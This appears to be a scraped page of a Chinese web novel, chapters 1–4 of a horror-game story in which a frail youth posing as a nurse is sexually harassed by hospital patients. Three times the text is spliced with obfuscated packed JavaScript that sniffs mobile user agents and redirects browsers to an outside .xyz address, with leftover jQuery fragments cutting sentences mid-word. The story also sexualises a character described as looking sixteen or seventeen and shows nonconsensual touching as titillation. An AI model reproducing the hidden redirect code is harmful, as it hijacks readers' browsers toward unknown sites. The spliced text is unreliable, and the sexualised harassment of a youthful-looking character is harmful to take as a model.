《小可怜boss凭美貌误入高端局》 1. 001 【这是一座位于深山、与世隔绝的私人医院,名为弥赛亚医院。】 【多年以来,医院收容了无数感染特殊病毒的病患,为防止病毒扩散做出了巨大贡献。】 【这样的日子一直持续着,直到这个冬天,一支来路不明的探险队闯入深山,感染病毒后,被关进了医院强制治疗。】 【探险队一共有5人,目前住在医院2楼病房,感染症状各异。】 【副本详情解析中……】 【解析完毕】 【副本等级:C】 【玩家目标:逃生】 一段短暂的静默后,又是冰冷的男声提示音。 【异端罗荔,你是本游戏的boss,与玩家对立。】 【你的目标:诱导玩家内斗,阻碍玩家通关。过关玩家越少,你的积分越高。】 …… 罗荔倏地睁开双眼。 面前是斑驳的墙面,四周充斥着消毒水的气味。 几名护士站在身边,手里拿着药品和记录表格,每个人都是神色匆匆的模样,面色呆滞,在灯光下泛出惨白的光。 她们都低着头,像是刻意躲避着什么。 而在这时,头顶传来一个严肃声音。 “……201房的病人说,昨晚的特殊治疗本该轮到他们病房,但是没有人去,所以让我问问是怎么回事,罗荔。” 罗荔茫然抬头,对上那个护士长漆黑到几乎没有眼白的一双眼睛。 什么……特殊治疗? 护士长皱了下眉头:“怎么了?你是不愿意吗?” 她这一质问,周围那些假人似的护士都齐齐看了过来,一模一样的漆黑眼睛,看得罗荔汗毛倒竖。 只能压下恐惧,道:“不、不是。” “哼,你现在解释,也已经晚了。那个孟虎因为这件事,一直在病房里吵闹,非要你今晚再去一次。” 护士长顿了顿,质问他,“你明明知道他的情况,为什么还要惹上这个麻烦?” 听起来……这个孟虎是个很难缠的病人。 是病的很严重,所以要护士寸步不离地照顾着吗? 医院里确实常有这种病患。 罗荔连忙说:“啊,抱歉!我以后,一定多注意他。” 护士长的神色这才缓和了些:“那好,今晚你就去陪床吧。把他的生理需求解决了,大家也能清净点。” 生理……需求? 怎么感觉,好像哪里不大对劲。 与此同时,面前弹出了红色的任务窗,交代了他今晚要做的事。 【任务一:拒绝201病房内玩家的要求,防止他们在你身上找到线索。】 会有什么要求呢…… 罗荔拎着药箱,来到201号病房前。 这医院和他以前待过的完全不一样,楼道幽黑冗长,房间却很少,且相隔极远,像是担心病人之间有所沟通似的。 不会有怪物吧…… 不对不对!他不就是boss吗?该害怕的应该是玩家才对! 电影里不都是那么演的吗?进入刚恐怖游戏的玩家,哪个不是战战兢兢,提心吊胆,而自己只需要敲一下门,就能把他们吓个半死。 这样想着,罗荔鼓起勇气,推开了面前号码为“201”的病房。 刚刚把门推开一条缝,只听病床咯吱响起,一片黑暗中,缓缓勾勒出个极其高大壮硕的身影。 门后的男人语气十分不耐烦。 “谁?” 罗荔一下子懵了,膝盖发软,大脑完全宕机。 “我、我是罗荔……” 男人顿了一下,勾起一个意味不明的古怪轻笑。 “萝莉?” “我还御姐呢。” 什么御姐…… 这家伙在说什么啊? 罗荔抿紧粉唇:“我就叫罗荔!我是来治疗的护士。” 进入副本之前,系统告诉过他,他最基础的技能就是隐藏。不单是血条,连带着异常的一切,都会被掩盖。 譬如有别于女生的嗓音,异于普通NPC的容貌——在玩家那里,都会被强行扭转成“正常”的印象。 只要他不露出马脚,玩家,包括玩家随身携带的直播系统内的观众,都不会率先怀疑。 这是副本给予他这个小怪物的“特权”。 罗荔努力维持镇静,不敢抬头直视这男人。 病房内的灯坏了,只有走廊内一点昏暗光线,勾勒出面前小护士的身形。 高中生?十六岁……还是十七岁? 最小号的口罩也比脸蛋大了一圈,护士帽檐压得那么低,看不清脸。只有漆黑长发下露出一点点耳垂,白嫩得叫人移不开视线。 还有那双笔直的、雪白的、在他的目光下发软颤抖的,属于“少女”的美腿。 这病房里还有几个看热闹的义工,见状都不约而同地笑了起来。 “原来那天嫌孟虎又穷又老,说什么也不肯过来的就是你啊。” “还以为是什么千金公主,这么娇贵,结果……不就是个普普通通的护士吗。” 说着,转向孟虎所在的病床,带着点戏谑道:“怎么样?人家都来了,你怎么连个笑脸也不给。” 医院里的人都知道,孟虎三十四岁,之前是工地上的农民工。 虽然长相刚毅、干活利索,但性格实打实的怪,不仅横,而且很拧巴,是出了名的一根筋。 当然,最让众人津津乐道的是,孟虎有“瘾”。 这所秘密的豪华医院如今虽然已经落败,但还保留一些昔日的特殊服务。 比如,专为某些有钱病人提供的,护士陪床抚慰服务。 也就是所谓的“特殊治疗”。 孟虎当然没有钱,一般来讲,这种好事轮不上他。 这份服务,本来是给他临床的那个青年的。 “吵死了。” 隔壁病床上传来一声冷喝,“多余的人,都给我滚出去。” 罗荔浑身一颤,下意识回头。 一副印象中给极其难以驯服的狗狗戴的止咬器,此刻紧扣在这青年脸上,上了许多铆钉。 不仅如此,他整个人浑身上下都弥漫着一股不好惹的气息,脖颈与手臂青筋暴起。 这野蛮的恶犬目光森冷,根本没有看他。 好像对他全然不屑一顾似的。 几个义工做了个投降的手势:“好了好了,吵着康哥了,快走吧。” 康驯没有看罗荔,对孟虎说:“你不是巴望着这护士来么?现在人来了,你还在这儿磨蹭什么。” 孟虎对上他的目光,什么也没说。 他确实没钱,但是同病房的康驯却是财力不容小觑的杀手,医院当然会给他安排特殊治疗。 可是康驯对这种事毫无兴趣,索性把这服务让给了他。 孟虎远远望着那娇小白嫩的小护士,过了好半天,才说:“你过来。” 罗荔战战兢兢坐到汉子的病床前,刚刚打开药箱,却听“哗”的一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723212|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两张床之间的帘子被这壮汉拉上了。 他一颗颗解开上衣纽扣,缓缓露出黝黑的精壮狗腰。 孟虎瞄了一眼那只药箱。一堆没用的药,还有些纱布、绷带什么的,乱七八糟,装得倒是挺像那么回事儿。 可唯独没有他此刻最需要的东西。 男人拨拉了两下药箱,啧了一声。 “怎么该带的都不带,到底有没有人教过你该怎么做事。” 他把药箱合上,“你回去拿吧,老子等着。” 罗荔懵懵的,不知道自己是忘带了什么。他百思不得其解,可看着孟虎那样不耐烦的模样,又实在是不敢多问。 只能硬着头皮哦了一声,站起身来。 孟虎在他身后喊了一句:“要最大号的,听见没有?” 最大号的…… 口罩吗?还是什么? 罗荔心虚地说知道了。 然而走到病房门口却发现,房门打不开了。 不知为什么,房间被人从外面上了锁,怎么打也打不开了。 罗荔尝试几次无果,只好回过头来告知两人实情。 他看孟虎和康驯的脸色都不大好,纠结了一下,试图缓和气氛,于是对孟虎说:“那个,我这箱子里面里面有很多种药,你要是有什么需要……呃,我是说,可以吃药解决呀。” 这一句话出来,房间里的气氛顿时变味儿了。 孟虎望着他,好半天才说:“吃药?” “对、对呀。” 孟虎深深一笑,靠后躺了躺,语气里带点揶揄。 “算了吧,吃药太伤身体了,老子还没这么没人性。” 吃药怎么会伤身体。 罗荔更加搞不懂了。 “可是门打不开,我也出不去……” 一直沉默不语的康驯忽然在这时候开口:“要不然你换个人得了。这家伙看起来就什么也不会。” 他这句话很显然是对孟虎说的,“再耽搁下去,咱们都别想从这里出去了。” 孟虎却像听不见似的,目光只在面前小护士的身上上下掠过。 眼前白白瘦瘦的小美人浑身发抖,抱紧跟自己腰一样宽的登记表,有些难堪地扯了扯短裙边缘。 看着那么纯,却连该带的东西都不带,甚至扬言可以吃药。 好歹也是个成年人,连这点常识都没有?不可能吧? 不管怎么想,或许只有一种可能。 “她”比外表看起来的要开放得多。 孟虎直男了三十多年,本以为只有胸大腰细的美艳少妇才会给自己带来什么冲击力——毕竟他一向觉得自己对25岁以下的女生没有兴趣——可此时此刻,却莫名的,就是不想换人。 鬼使神差开口:“算了,没有就没有吧。搞出事情来再说。” 康驯不动声色地皱了下眉头。 而罗荔还是很紧张,他以为孟虎的声音忽然变得沙哑,是生气自己准备不周。思来想去,只能可怜巴巴地向康驯求助。 “那个,他要的东西,你、你有没有啊?” “可不可以,借我一下……” 他料想两个人是同一间病房,病症应该也差不多。 所以孟虎需要的东西,康驯也许会有。 而病床上的青年扭过头来,望着他,忽然勾起一个一点也不友好的笑容。 “你找我借?” 他眯起那双充满攻击性的狼眼。 “你是说,你没带避孕套,所以要向我借?” 2. 002 短暂的懵圈之后,罗荔反应了过来。 霎时间,口罩外裸露的一小块脸颊便被红色浸透,两只软软的耳垂也浮起了粉红。 “什么、避孕……” 他实在说不出口,“为什么要用这种东西。” 康驯眸子里的颜色更深,转头向孟虎:“呵,他自己都说不用,你还在意这个?” 罗荔感觉不对:“我不是这个意思!我、我……” 他羞愤地抹了一把眼眶:“我不知道你们想干什么!我才不做这种事,我要走了。” 孟虎喊住了他:“不许走。” 他直接翻身下床,一只手扯了一下松开的裤腰带,另一只手一把握住了罗荔的手腕。 “老子等了这么久,你说走就走?” 常年风吹日晒的民工,掌心布满老茧,即使只是轻轻握着那软白的手腕,也很快磨出了红痕。 孟虎愣愣地看着小护士的眼眶一点点变湿,却迟迟没有松手的意思。 “外面都锁门了,说明护士长也不想让你出去。” 他咽了一下口水,“反正也是出不去,你干脆就留在这儿。” 离得近看更是毫无瑕疵的皮肤,小护士那浓密卷翘的长睫毛掀起一角,望向这个比他高了将近两个头的汉子:“那我也不要。” 嗓音黏糊又委屈,像是毛绒未褪、被捕食者强行叼出窝的小兔子。 孟虎只能再退一步,“行。那亲嘴儿,只亲个嘴儿行了吧?” 他抬起手来,“你先把口罩摘了。” 说实话,他就没见过这么不懂行的。 人都来了,还戴个口罩遮遮掩掩,玩情.趣也用不着这样吧。 康驯低笑一声:“算了吧,摘了口罩还不一定长成什么样子。” 孟虎觉得不大舒服。 这人明明已经把特殊治疗让给了他,按理来讲应该是没兴趣,那就更不该败坏他的兴致。 自己把服务让出去,却还要在这儿说三道四…… 他和小护士亲嘴儿的时候,有这么个人在后面看着,心里怪发毛的。 于是便想将罗荔带到帘子后面去,隔着帘子,康驯看不见,他心里也少点膈应。 可罗荔看起来很讨厌他,听见他要摘掉自己的口罩,漂亮的眉头更是肉眼可见地拧了起来,躲开了他的手。 这小孩儿连亲嘴也不想和他亲。 孟虎胸口不由得积起一股无名火,他忍着没有发作,而等罗荔刚刚站稳,男人便一把掐住了他的大腿。 雪腻肌肤与掌心相贴,带着“女孩子”温热的体温,像是摸到了一块水嫩的软豆腐。 “操……” 孟虎发出一声低叹,情不自禁道,“真他妈嫩。” 这一声感叹穿过帘子,传入康驯的耳中。他依旧面不改色地倚在床边上,好像对另一边的一切充耳不闻。 唯有眼前的弹幕在疯狂刷新,显然对他的行为颇为不满。 【不是吧康哥,你就这么把机会给了那个孟虎?】 【什么机会啊,他一个工地糙汉,不就是为了发泄自己那个瘾,你还真指望他能趁机从护士NPC身上拿到线索啊】 【我看未必,孟虎糙是糙了点,可也挺帅的啊,再说民工你们懂的,那方面可不是盖的】 【康哥就不能拉开帘子看看吗(抓狂)】 拉帘子?开什么玩笑。 孟虎爱怎么样怎么样,关他什么事。 他摆明了一副事不关己高高挂起的态度,弹幕观众更加不满,开始冷嘲热讽起来。 【那等下他俩在你旁边那什么,康哥你就这么听啊?难道你愿意当这个电灯泡?】 【就是,旁人也许一下子就完了,但像这种瘾大的糙汉,可不知道要过多久呢】 【我不行了,康哥好像那个熟睡的丈夫,毫无体验感】 康驯低低骂了一句。 “我他妈才不想看。” 他捉起一旁的手枪。既然门锁了,那就用枪打开好了,反正他不要留在这里,免得脏了耳朵。 结果刚走到门前,一拉门把手,只听“咔吧”一声,门开了。 这扇门根本没上锁。 帘子一下子拉开,罗荔挣开放在自己大腿上的那双手,跳下床来,脸色苍白地跑到房门前。 康驯用意味深长的眼神看着他:“这门哪里锁了?” 罗荔百口莫辩:“可是刚刚,刚刚确实打不开啊……怎么会……” 康驯也没说话,就站在一旁看他辩解。罗荔突然意识到了什么,连忙把门推开:“那我去拿……东西了。” 说完,他头也不回地把门推开,一溜烟地跑了出去。 拿东西当然是借口。逃到护士站外,才感觉安全了一些。 看看这一身打扮,莫名其妙的穿成了一个小护士的样子,淡粉色的包臀裙又短又紧,刚刚还被孟虎弄上去了半截,大片的雪白腿肉都露在外头。 白色的长筒袜也有点皱了,他只能难堪地扯了一扯,勉强整平。 在这空旷无人处,他的心跳渐平,与此同时,面前出现了几行文字。 【身份:弥赛亚医院的实习小护士】 【等级:初级boss】 【血量:100(完全脆皮)】 【智能:正常(笨笨的,基本不可能给玩家下套)】 【攻击:5(约等于小猫挠人的疼痛感)】 【基础技能:退堂的鼓(会把血条藏起来,伪装成普通无害的npc)】 【进阶技能:未开发】 【二阶段形态:未开发】 面板呈现完毕,系统007问:“你还有什么问题吗?” 少年站在走廊角落,惨白的楼道灯光映在他的面颊上,衬得眼尾那一抹红愈发招摇惹眼。 “刚刚,那个玩家,为什么要亲我啊。” “在这个医院衰落后,为了维持生计,会安排一些护士为病人提供性服务,以赚取高额利润。” “而你,很不幸的成为了提供这种服务的护士。” 脑海中传来冷冽的男性声音,像极了那些高智商黑客。 “那……我该怎么办?他们还在等呢。要是我就这么跑了,明天,会不会被护士长为难啊。” 到这种时候了还在想会不会被批评的问题,007真不知道该说他什么好。 “你可以自行选择。当然,因为你没亮血条,就算拒绝玩家,在他们发现你是boss以前,也无法击杀你。” 这几乎是摆明了告诉他,就算拒绝也没事了。 可罗荔好像还没听懂他的言外之意,小脸上依旧阴云密布。 到底为什么莫名其妙会进入这个恐怖游戏…… 他从小体弱多病,父母死去后他就一直住在医院,靠着父母的遗产续着半条命。 因此对于这种恐怖逃生游戏来说,他应该是最菜鸡的那一类人……偏偏还成了boss。 罗荔嘟哝着:“就不能给我分配到简单的副本吗。” 真是麻绳偏挑细处断,命运戏弄大笨蛋。 系统说:“我们的评价都是综合性的。你虽然大部分数值都不怎么样,但是,你的美貌值很逆天,拉高了整体的水准,能够匹配到高端局。” “啊?那美貌值有什么用吗?” 系统沉默半晌:“暂时没发现用处。” 所以不还是他一脚误入高端局嘛!! 罗荔在这边义愤填膺着,忽然听到背后传来了脚步声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723213|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一个男人敲了两下桌面:“你是护士?这里有酒精么?给我一些。” 罗荔回头,身材挺拔的男人从病房中走出。 他的肩头披着一件深灰西装,整个人笼罩着一股不容侵犯的强大气场。惨白的走廊灯光将他高挺的鼻梁衬得更加立体,好似大理石像般严肃且禁欲。 一副掌控商业帝国的精英形象。 “他是凌屿,住在202的玩家。”007说,“是个难办的角色,小心点。” 202……那就是康驯他们旁边的病房。 罗荔问他:“你要酒精做什么?” “消毒。”凌屿说,“自从住进医院以后,我的手就没有彻底地清洁过,只能先用酒精消毒了。” 啊…… 这人不会是有洁癖吧? 罗荔虽然觉得莫名其妙,但还是转身进屋,为他寻找医用酒精。 护士站的房间里竟然一个值班护士都不剩,这医院果真是荒废怠惰了。罗荔一个架子一个架子地翻,刚翻到酒精,又注意到了旁边醒目处放着的药盒。 一盒x本超薄安全套,一盒紧急避孕药。 像是特地准备在这里的,格外惹人注目。 罗荔这时候才后知后觉的意识到,自己刚刚说可以吃药,到底造成了多大的误会。 天呢,他都干了些什么啊…… “还没找到么?” 凌屿竟然自己走了过来。罗荔连忙把酒精交给他,男人接过,目光在架子上那两个药盒上一瞥,什么也没说。 他将掌心摊平,挤出一些医用酒精倒在手心,为双手消毒。 消毒之前,他将右手的无名指上戴着的那枚银戒取下,放在了一边。 等到双手都洁净过后,凌屿把戒指重新戴上,直到这时,才抬起目光,看向罗荔。 “以前没见过你。” 罗荔努力维持着自己在游戏里的设定:“嗯,我是实习的护士,以前,都是跟在护士长后面学习。” “是吗。” 凌屿点了点头。罗荔此刻伪装成普通的NPC,跟他这种玩家其实没什么交集,说这么两句话,已经算多了。 男人眼看就要转身离开,那边201的门却被人气急败坏地推开了。 罗荔看见是孟虎,好不容易平复下的小心脏又跳了起来。 怎么办?他不会又要把自己强拉过去,要他提供什么性服务吧? 孟虎等了半天不见人影,本来就有些不爽,这边一看,自己心心念念的小萝莉身旁居然站了个别的男人,表情便愈发不好看了。 不耐烦问他:“你还没拿到吗?” 罗荔紧张地攥紧裙角:“我没、没找到。” “不跟你说没有也没事儿了吗?”孟虎逼近一步,好像一点也不在意旁边还站着别人,“老子就要你亲个嘴儿,你还非得这么磨磨叽叽的……” 罗荔连忙后退,一不小心,撞到了后面的凌屿。 情急之下,他忽然急中生智,挽住了凌屿的胳膊。 “那个,不行。” 罗荔心虚地垂下睫毛,“我……我今晚要陪他的。我们已经说好了。” 他不敢抬头直视孟虎,害怕这拙劣的谎言一下子就被戳穿。 只能暗暗地用手指捏了捏凌屿的胳膊,祈祷他能帮自己圆了这个谎,摆脱孟虎的纠缠。 凌屿的眉头不动声色地皱了一下,什么也没说。 而孟虎的目光在他二人身上掠过,忽然笑了一声:“你是想说,你今天想陪着这个男的?” 罗荔胡乱点了点头:“嗯。” “可他都结婚了,你看不见他手上的戒指吗?” 孟虎不但没有退后,反而更上前道,“……你难道要当第三者啊?” 3. 003 罗荔赶忙低头,凌屿的戒指还戴着。 他不是没听过无名指上戴戒指的意思,但是他太迟钝了,就算听说过,也一时没能想起来。 毕竟他以前一直住在医院……很多常识对他来说都很遥远。 但是,但是…… 他又不是真的要和凌屿发生什么,只是想用这个借口摆脱孟虎而已。 只要等一下向凌屿解释清楚,应该就没问题了。 “那、那又怎么样。” 这样想着,罗荔没有松开凌屿的胳膊,硬着头皮道:“反正,我不想和你在一起。你,你不要再纠缠我了。” 孟虎在这时候才把目光转移到了凌屿身上:“你也是这么想的?” 凌屿神色平静,只说:“你还有什么事么?我不喜欢有人在我面前大声嚷嚷,如果你还要在这里胡乱吼叫,我就要让护士长来了。” 想到那个持着手术刀、眼睛黑得没有眼白的护士长,孟虎忍不住打了个寒噤。 医院严禁病患之间发生冲突,要是现在就撕破脸……确实没有好处。 男人双手插兜:“行,行。” 他望着罗荔,眼睛眯了起来,“你挺厉害,眼光够刁。” 他的嘴唇微动,好像又说了句什么,但是罗荔没有听清。 随后,孟虎冷笑一声,拂袖而去。 罗荔终于松了口气,见他走远,还没有从刚刚的紧张中回过神来。 冷沉的男声从头顶传来:“松手。” 罗荔身体一凛,连忙松开他的胳膊:“啊……谢谢你帮忙。我其实……” “他是个口无遮拦的莽夫,你也一样不干净。” 凌屿没有给他解释的机会。他按着手指上的戒指,目光中的嫌恶丝毫不加掩饰,“他现在已经走了,你还要继续站在这里,到什么时候?” 罗荔从来没被别人这么直白地申斥过,愣了几秒,脸颊顿时漫上难堪的红:“对不起。但我真的没有别的意思。” 凌屿整理好衣袖,本来要走,忽然又停了下来。 “……你既然是做这一行的,何必还要装出一副清白干净的模样。” “第三者……你是觉得与其给那种民工提供服务,倒不如直接攀上一个长期饭票来的方便快捷?” 凌屿口才很好,罗荔根本没有招架之力,想反驳也无从开口。 好在他没有继续说下去,又用酒精擦了一遍手,便返回了202病房。 临走前,最后警告了一次罗荔:“不许再碰我。” 病房关上门,四周重新归于死寂。 好半天之后,罗荔的心跳才恢复平稳。 虽然方式有点狼狈,但好歹也是摆脱了孟虎的纠缠,今夜也算有惊无险。 等到新的护士前来换班,他今晚的任务也算完成了。 此时此刻,罗荔只觉得一股疲倦袭来,除了想要快快休息,其他什么都顾不得了。 员工宿舍在楼下,每个房间都是单人单间,只有到了这里,他才能真正放下心来。 这里的宿舍外都有配备更衣室,换衣的地方是一个一个的小隔间,锁上铁门以后,隔间就是封闭的,方便护士轮班换衣服。 而眼前这个隔间门前挂着罗荔的名牌,应该就是他的更衣间了。 刚刚开门走进去,视线上移,看见一张斑驳的字报。 【医院严禁员工恋爱】 【医院严禁员工与病人恋爱】 【如有地下恋情被发现,XXXX】 最后几个字被抹掉了,看不清楚。 更衣间里挂着一些他的旧衣服,但找了很久,只有一件黑色的睡衣。 那睡衣很长,完全不符合他的体型,拎在手中沉甸甸的,还有一股男士香水的气味。 这……真的是他的睡衣么? 罗荔正犹豫不决着,忽然听到门外传来一阵异样的响动。 迟缓沉重的脚步声回荡在关死的铁门外,隔间内灯光昏暗,来人的影子便从门底下的一点缝隙挤进来。 伴随着脚步声,还有属于成年男性的,粗重压抑的呼吸。 罗荔的头脑一瞬间变得很迷糊。 什么情况? 隔间外墙上的标识极其显眼,正是四个大字:女更衣室。 可外面那个明明是个男人。 是……是那种偷看女孩子换衣服的变态吗? “外面是一名玩家。目的不明,等级很高。” “鉴于你今晚本该向玩家提供性服务,此刻本不应该出现在更衣室。继续留在这里,会被玩家怀疑。” “他在往你这边走。距离发现你的异常预计还有两分钟。” 罗荔小腿肚不住地发起抖来,“那、那我该怎么办?” 007斩钉截铁:“换衣服。” “在你右手边20cm处的那套睡衣,换上它。” “快点。” …… 门外的脚步声越来越近,到最后,停在了铁门前。 罗荔不敢回头,他的裙子还没脱,但是不敢动了。 好丢脸。 明明是boss,却被玩家堵门,他怎么可以这么怂。 指尖绞紧裙角,大气都不敢出。除了自己的心跳声,他还清晰地听到了另一种声音。 属于成年男性的,急促而浑浊的粗喘。 “我知道你在里面。” “为什么不肯见我?没空见我,却有空给那些病人提供特殊治疗。我们才多久没见,你就忍不住要发展下一任了?” “不对……什么下一任。你就是想出轨对不对?还是,你已经出轨了?” 罗荔身体不好,从小到大,没人敢对他说半句重话。 现在听到这样咄咄逼人的质问,又是茫然,又是委屈——当然,更多的,还是害怕。 007提醒他:“接着换衣服,就当没发现他的存在。” 罗荔几乎都要哭了。 如果要换这个睡衣,就得把现在的裙子脱掉。 外面那个人会不会偷看? 要是被他看见了怎么办…… “不会被看见的,门锁紧了。” 系统难得把语气放得温存一些,像是鼓励。 罗荔紧闭双眸,无奈之下,选择相信他。 白皙手指勾着短裙边缘,一点点脱下来。少年的纤细双腿颤颤发着抖,更衣室里有些冷,膝盖与脚踝都泛起薄红,在雪白的肌肤映衬下愈发显眼。 明明应该很瘦的体型,大腿根却肉肉的,将腿缝深处遮掩得严严实实。 小心翼翼弯腰,捡起睡衣。 系统欲言又止。 想提醒他不要弯腰背对着隔间铁门,可是罗荔心里仿佛只有快点穿好衣服这一件事,不等系统出声,已经一口气把短裙拉到了脚踝。 隔间逼仄,几乎伸不开手脚,没有凳子坐,只能站着穿上那件黑色男士睡衣。 而就是这弯腰的刹那,门外男人的喘息声陡然加重了。 原本长到能够遮住屁股的睡衣,在弯腰时,顺势落到了腰腹位置。 毫无遮掩的大片柔白肌肤,在昏暗灯光下瑟瑟发抖。 ……让人想入非非的后方姿势。 罗荔对此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723214|173928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑然不觉。他终于把衣服换好,心跳尚未平息,却听铁门被外面那人重重撞响。 与他大力而凶悍的撞门声不同,他的语气,竟然变得温存又深情。 “宝宝……你出来,让我看看你。” “不用换衣服。哪怕你穿的那件睡衣不是你的,我也不会生气。” “开门好吗?” 罗荔怎么敢出去。 他肩膀颤抖,把自己缩成一团,按系统说的,装作若无其事,继续脱下长筒袜。 袜子薄薄的,透出一点肌肤的淡粉。包裹着精致小巧脚踝,一点点顺着小腿滑下来。 正要屈身将袜子完全脱下,却冷不防的,被谁握住了脚踝。 一只手从铁门下方空隙伸进来,攥紧他的脚腕。 滚烫的掌心向上,大拇指的指腹抵着他的小腿肚,轻轻地按。 明明该是个侵略性极强的捉捕动作,却无端的,变得有些不对味来。 一下一下,仿佛流连忘返般,把少年纤细修长的小腿摸了个爽。 罗荔大脑一片空白,只听见007在耳边说:“有人来了!” 随后,更衣室外便传来几个护士的声音:“出事了?” “嗯,好像确实是出事了。二楼那边有病人逃出来,让咱们快点派人手过去,看看到底是什么情况。” 在听到女人喊话的瞬间,握在罗荔脚踝上的手终于松开。 属于成年男性的呼吸声渐渐被压了下去,沉闷脚步声愈来愈远,不知过了多久,更衣室内终于恢复平静。 罗荔双腿发软,撑着墙根勉强站稳,慢慢转过身去。 他还没有完全回过神来,而更衣室外已经是一片混乱。有许多护士、医生和清洁人员正在往二楼赶去,看上去真的出了事。 罗荔把睡衣裹紧,也想要看一眼到底是什么情况。 可走廊里完全是漆黑一片,除了人影幢幢,什么也看不清。 他暗暗地想,自己还是回去吧,不要添乱了。 而就在转身的刹那,毫无征兆的,与人群撞上。罗荔险些站不稳,踉跄了半步,撞进一个人的怀中。 那人扶了他一把,让他不至于跌倒,但是掌心也冷不防地顺着敞开的睡衣缝隙滑了进去。 他撑着那人的肩膀,对方短暂地愣了片刻,一下子反应过来,猛地将手放开。 罗荔还没来得及道谢,便听见男人压不住怒火的低声。 “怎么是你。” “我不是说过,让你不许再碰我吗?” 是……是凌屿的声音! 罗荔立刻后退了几步:“我不是故意要碰你的!” 凌屿啧了一声,也与他分开了些距离。 但尽管已经与小护士相隔很远,他心口的焦躁感仍然齐齐涌上,让他的呼吸都变得紊乱起来。 在这一刻,罗荔脑海中又响起提示音。 【线索一:怪病】 【据说二楼三间病房的病人都有怪病,且症状各异。也就是说,随着病情加重,玩家通关的难度也会增大。】 【玩家:凌屿】 【病症:皮肤饥渴症——极其需要别人的拥抱,和其他亲密活动,如果得不到,会陷入焦虑】 【请想办法加重他的皮肤饥渴症。注意,该玩家极度洁癖,会拒绝大部分亲密行为】 凌屿呼吸急促,撑着墙面,胸口不住起伏,而对面的小护士却仍然在那里站着,让他更加焦躁。 ……该死的。 明明那么嫌“她”脏。 可为什么还是克制不住的,想要搭手往“她”的腰上摸? 4. 004 凌屿闭上眼睛,平复了一下心情。幸好现在的走廊里漆黑一片,人群又相当嘈杂,隔绝在两人之间,给了他片刻的喘息机会。 而罗荔虽然看见了他身上的病症提示,但此刻仍然是一头雾水,不知道自己该做什么。 只能迟疑着问他:“二楼发生了什么事?” 话音刚落,二楼几个人提着担架,把一具尸体从201抬了出来。 尸体身上草草盖了张白布,看不清死者的模样。只闻见一股浓烈的腐臭传来,叫人胃里一阵阵泛起恶心。 担架正好从凌屿和罗荔身边经过,他听见旁边的小护士轻而颤抖的吸气声。 凌屿沉默片刻,“孟虎死了。” “死在了201的洗手间内。康驯打开门的时候,他的脖子上插了一柄锉刀,已经断气了。” 男人冷而低沉的声音毫无感情地陈述着,如同说起一桩再平常不过的小事。 骚乱的人群逐渐远去,空荡荡的走廊内,阴冷的寒气顺着罗荔的脊背爬了上来。 让他不自觉地开始发抖。 自己虽说那人骚扰过,可是,也没想过要他去死呀。 不久前还好端端的一个人一下子变成了死尸,罗荔心里有些难受,攥着衣角,一句话也说不出口。 凌屿半天听不到他出声,在一片黑暗之中,能模模糊糊地看到小护士的身影轮廓。 “她”现在没戴口罩,身上……好像也只穿了一件睡衣。 “他怎么死得这么突然……” 罗荔的声音很低落。 凌屿在心里冷笑。 明明差点被这个男的性骚扰,听说他死了,还要做出这种样子。 方才那种病发的焦渴感又再次升腾了起来,使他分外烦躁。 “这里是医院,死个人有什么奇怪?” 凌屿强行安下心里的悸动,转身走入人群,“我走了。” 男人说走就走了,好半天以后罗荔才缓过神来。 他抚着自己的胸口,直到所有嘈杂都平息下来,才重新回到了员工宿舍。 在这时才后知后觉地想到:孟虎不是因病死的。 那么,是谁害死了他? …… 次日,罗荔的房门被人敲响了。 门外的护士看起来二十出头的年纪,中等身材,脸上布满雀斑。 胸牌上写着她的名字:陆妍妍。 而在她的头顶上方,有一个星号标识,表明了她的玩家身份。 罗荔心想,原来玩家不全都是病人啊。 陆妍妍告诉他,孟虎死了,201只有康驯一个住着,正好202之前也就住着一个人,就把他也转进来了,和康驯一起住201。 陆妍妍嘱咐了一句:“可能是因为孟虎突然死去,康驯和凌屿都不愿意在那个病房住着。你要注意安抚他们的情绪,不要让他们离开病房。” 话音刚落,罗荔面前便弹出了新任务。 【任务二:阻止201的病人在今晚离开病房。】 虽然之前和凌屿发生了些不愉快,但现在还是不得不到201去。 推开房门的时候,一股还没有消退的血腥气扑面而来,很快又消散了。 罗荔忍着恐惧走到康驯床边,而不等他把灯打开,脚下就踩到了别的东西。 是束缚带。 被撕扯得七零八落,掉在地上。 “啪”的一声,那只止咬器也骨碌碌滚落,摔了个四分五裂。 康驯倚在床头,手中转着一柄锉刀。 “真是麻烦。” 青年满身戾气,黑色短袖下,健硕的肌肉极具爆发力,仿佛下一秒,就要把手里的刀戳进罗荔的身体。 